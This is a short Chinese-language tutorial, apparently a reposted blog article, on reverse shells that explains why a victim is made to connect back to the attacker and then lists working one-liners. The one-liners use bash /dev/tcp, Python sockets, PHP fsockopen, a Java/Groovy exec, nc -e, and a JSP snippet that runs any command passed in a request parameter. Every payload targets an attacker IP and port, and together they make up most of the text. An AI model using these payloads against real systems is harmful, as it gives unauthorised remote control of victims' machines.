反彈shell往往是在攻擊者無法直接連接受害者的情況下進行的操作,原因有很多,例如目標是局域網,或者開啟防火墻的某些策略等情況,而這時,我們就可以讓受害者主動向攻擊者發起連接,被控端發起請求到控制端某埠,并將其命令列的輸入輸出轉到控制端,從而實作互動,
- bash
root# bash -i >& /dev/tcp/192.168.31.41/8080 0>&1
bash -i 就是打開一個互動式的shell,輸入命令回顯給用戶; /dev/tcp/是Linux中的一個特殊設備,打開這個檔案就相當于發出了一個socket呼叫,建立一個socket連接,讀寫這個檔案就相當于在這個socket連接中傳輸資料,也存在/dev/udp/;上述命令就是和192.168.31.41:8080簡歷tcp連接,
核心方法就是通過建立socket連接通信來傳輸資料,其他語言也有不同的實作方法:
- python
python -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("192.168.31.41",8080));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);p=subprocess.call(["/bin/sh","-i"]);'
- php
php -r '$sock=fsockopen("192.168.31.41",8080);exec("/bin/sh -i <&3 >&3 2>&3");'
- java
r = Runtime.getRuntime()
p = r.exec(["/bin/bash","-c","exec 5<>/dev/tcp/192.168.31.41/8080;cat <&5 | while read line; do $line 2>&5 >&5; done"] as String[])
p.waitFor()
執行命令的陳述句:
<%Runtime.getRuntime().exec(request.getParameter("cmd"));%>
- nc反彈
nc 192.168.1.123 12345 -t -e /bin/bash
轉載請註明出處,本文鏈接:https://www.uj5u.com/qita/30896.html
標籤:其他
上一篇:淺談SIEM
下一篇:常見中間件弱口令
